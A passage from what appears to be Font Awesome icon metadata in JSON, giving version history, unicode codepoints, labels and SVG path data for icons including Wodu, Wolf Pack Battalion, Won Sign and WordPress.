0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 8.73-3.94 5.5-12.83-23.7-62.5-21.48-58.14-22.78-59.44l2.36-4.45 33.52 67.3c-3.84-11.87 1.68 1.69-32.99-78.82l-41.9 88.51 4.71-13.88-35.88-42.16 27.76 93.48-11.78 8.38C95 228.58 101.05 231.87 93.23 231.52c-5.5-.26-13.62 5.5-13.62 5.5L74.63 231c30.56-23.53 31.62-24.33 58.4-42.68l4.19 7.07s-5.76 4.19-7.86 7.07c-5.9 9.28 1.67 13.28 61.8 75.68l-18.85-58.92 39.8-10.21 25.66 30.64 4.45-12.31-4.98-24.62 13.09-3.4.52 3.14 3.67-10.47-94.27 29.33 11.26-4.98-13.62-42.42 17.28-9.17 30.11 36.14 28.54-13.09c-1.41-7.47-2.47-14.5-4.71-19.64l17.28 13.88 4.71-2.09-59.18-42.68 23.08 11.5c18.98-6.07 25.23-7.47 32.21-9.69l2.62 11c-12.55 12.55 1.43 16.82 6.55 19.38l-13.62-61.01 12.05 28.28c4.19-1.31 7.33-2.09 7.33-2.09l2.62 8.64s-3.14 1.05-6.28 2.09l8.9 20.95 33.78-65.73-20.69 61.01c42.42-24.09 81.44-36.66 131.98-35.88 67.04 1.05 167.33 40.85 199.8 139.83.78 2.1-.01 2.63-.79.27zM203.48 152.43s1.83-.52 4.19-1.31l9.43 7.59c-.4 0-3.44-.25-11.26 2.36l-2.36-8.64zm143.76 38.5c-1.57-.6-26.46-4.81-33.26 20.69l21.73 17.02 11.53-37.71zM318.43 67.07c-58.4 0-106.05 12.05-114.96 14.4v.79c8.38 2.09 14.4 4.19 21.21 11.78l1.57.26c6.55-1.83 48.97-13.88 110.24-13.88 180.16 0 301.67 116.79 301.67 223.37v9.95c0 1.31.79 2.62 1.05.52.52-2.09.79-8.64.79-19.64.26-83.79-96.63-227.55-321.57-227.55zm211.06 169.68c1.31-5.76 0-12.31-7.33-13.09-9.62-1.13-16.14 23.79-17.02 33.52-.79 5.5-1.31 14.93 6.02 14.93 4.68-.01 9.72-.91 18.33-35.36zm-61.53 42.95c-2.62-.79-9.43-.79-12.57 10.47-1.83 6.81.52 13.35 6.02 14.66 3.67 1.05 8.9.52 11.78-10.74 2.62-9.94-1.83-13.61-5.23-14.39zM491 300.65c1.83.52 3.14 1.05 5.76 1.83 0-1.83.52-8.38.79-12.05-1.05 1.31-5.5 8.12-6.55 9.95v.27z"
      }
    },
    "free": ["brands"]
  },
  "wodu": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e088",
    "label": "Wodu",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M178.414 339.706H141.1L112.166 223.475h-.478L83.228 339.706H45.2L0 168.946H37.548L64.574 285.177h.478L94.707 168.946h35.157l29.178 117.667h.479L187.5 168.946h36.831zM271.4 212.713c38.984 0 64.1 25.828 64.1 65.291 0 39.222-25.111 65.05-64.1 65.05-38.743 0-63.855-25.828-63.855-65.05C207.547 238.541 232.659 212.713 271.4 212.713zm0 104.753c23.2 0 30.133-19.852 30.133-39.462 0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z"
      }
    },
    "free": ["brands"]
  },
  "wolf-pack-battalion": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f514",
    "label": "Wolf Pack Battalion",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z"
      }
    },
    "free": ["brands"]
  },
  "won-sign": {
    "aliases": {
      "names": ["krw", "won"],
      "unicodes": {
        "composite": ["20a9"],
        "secondary": ["10f159"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Won Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f159",
    "label": "Won Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M62.4 53.9C56.8 37.1 38.6 28.1 21.9 33.6S-3.9 57.4 1.6 74.1L51.6 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H72.9l56.7 170.1c4.5 13.5 17.4 22.4 31.6 21.9s26.4-10.4 29.8-24.2L233 288h46L321 455.8c3.4 13.8 15.6 23.7 29.8 24.2s27.1-8.4 31.6-21.9L439.1 288H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l50-149.9c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2L392.9 224H329L287 56.2C283.5 42 270.7 32 256 32s-27.5 10-31 24.2L183 224h-64L62.4 53.9zm78 234.1H167l-11.4 45.6L140.4 288zM249 224l7-28.1 7 28.1H249zm96 64h26.6l-15.2 45.6L345 288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M62.4 53.9C56.8 37.1 38.6 28.1 21.9 33.6S-3.9 57.4 1.6 74.1L51.6 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H72.9l56.7 170.1c4.5 13.5 17.4 22.4 31.6 21.9s26.4-10.4 29.8-24.2L233 288h46L321 455.8c3.4 13.8 15.6 23.7 29.8 24.2s27.1-8.4 31.6-21.9L439.1 288H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l50-149.9c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2L392.9 224H329L287 56.2C283.5 42 270.7 32 256 32s-27.5 10-31 24.2L183 224h-64L62.4 53.9zm78 234.1H167l-11.4 45.6L140.4 288zM249 224l7-28.1 7 28.1H249zm96 64h26.6l-15.2 45.6L345 288z"
      }
    },
    "free": ["solid"]
  },
  "wordpress": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f19a",
    "label": "WordPress Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z"
      }
    },
    "free": ["brands"]
  },
  "wordpress-simple": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f411",
    "label": "Wordpress Simple",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
